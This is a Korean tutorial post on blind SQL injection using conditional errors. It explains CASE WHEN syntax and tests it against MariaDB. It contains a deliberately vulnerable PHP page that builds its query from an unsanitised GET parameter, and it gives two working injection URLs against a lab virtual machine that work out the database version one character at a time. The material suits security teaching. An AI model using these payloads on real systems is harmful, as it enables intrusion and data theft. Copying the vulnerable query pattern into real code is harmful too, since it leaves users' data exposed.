[SQL Injection] 블라인드 기법 : 조건부 에러 ( Conditional Errors)

 조건부 에러 ( Conditional Errors)


조건부 에러는 참/거짓 명제 대신에 에러 유발 구문이 사용됩니다 . 
참/거짓의 유무는 에러 발생 유무이며 조건에 따라 에러 유발 쿼리문 실행이 가능해야 합니다 .
 
에러 유발 쿼리를 알아보기 위해 쿼리문 실행이 가능한 SQL 명령어를 먼저 알아보겠습니다 . 


case 구문 문법 

 

CASE

    WHEN condition1 THEN result1

    WHEN condition2 THEN result2

    WHEN condition N then result N

    ELSE result

END ;


  • CASE WHEN 다음에 조건식이 옵니다 . 
  • 조건에 따라서 참이면 then 구문의 표현식이 실행되고, 거짓이면 ELSE 구문의 표현식이 실행됩니다 . 



MariaDB의 버전 정보를 출력하는 쿼리 구문을 이용하여 참/거짓 명제의 조건을 실습해 보겠습니다.


CASE WHEN 참인 명제

 

>>  select @@version from dual where 1=(case when 1=1 then 1 else 2 end) ;













CASE WHEN 거짓인 명제

>>  select @@version from dual where 1=(case when 1=2 then 1 else 2 end) ;







이어서 참일 경우 버전 정보를 출력하고 거짓일 경우 에러가 발생하는 예시를 실습해 보겠습니다 . 

이전에 사용했던 조건부 응답에 사용했던 소스코드를 그대로 사용합니다 . 


empinfo_id_blind.php
<?php

if (!$link = mysql_connect('localhost', 'root', 'root')) {
    echo 'Could not connect to mysql';
    exit;
}

if (!mysql_select_db('northwind', $link)) {
    echo 'Could not select database';
    exit;
}

$_empid  = $_GET['empid'];
$sql    = 'SELECT * FROM Employees WHERE EmployeeID=' . $_empid;
$result = mysql_query($sql, $link);

if(strpos(strtolower($_empid), "union")==FALSE) $result = mysql_query($sql, $link);

if (!$result) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>Employee ID</td><td>First Name</td>
<td>Title</td><td>Hire Date</td>\n\t</tr>";

while ($row = mysql_fetch_assoc($result)) {
    print "\t<tr>\n\t\t<td>" . $row['EmployeeID'] . "</td><td>"
. $row['FirstName'] . "</td><td>" . $row['Title'] . "</td><td>"
. $row['HireDate'] . "</td>\n\t</tr>\n";
}
print "</table>\n";

mysql_free_result($result);
?>


거짓 테스트 주소 

http://가상머신주소/empinfo_id_blind.php?empid=1+and+(case+when+substr(@@version,1,1)=1+then+1+else+(select+table_name+from+information_schema.tables)=1+end)%23










에러가 발생하여 거짓 명제임을 알수 있습니다 . 
버전 정보의 첫 번째 글자는 5 이므로 다음과같이 참인 명제를 주입합니다 .



참 테스트 주소 

http://가상머신주소/empinfo_id_blind.php?empid=1+and+(case+when+substr(@@version,1,1)=5+then+1+else+(select+table_name+from+information_schema.tables)=1+end)%23













정상 페이지 출력으로 첫 번째 글자는 5 인 것을 알 수 있습니다 . 


댓글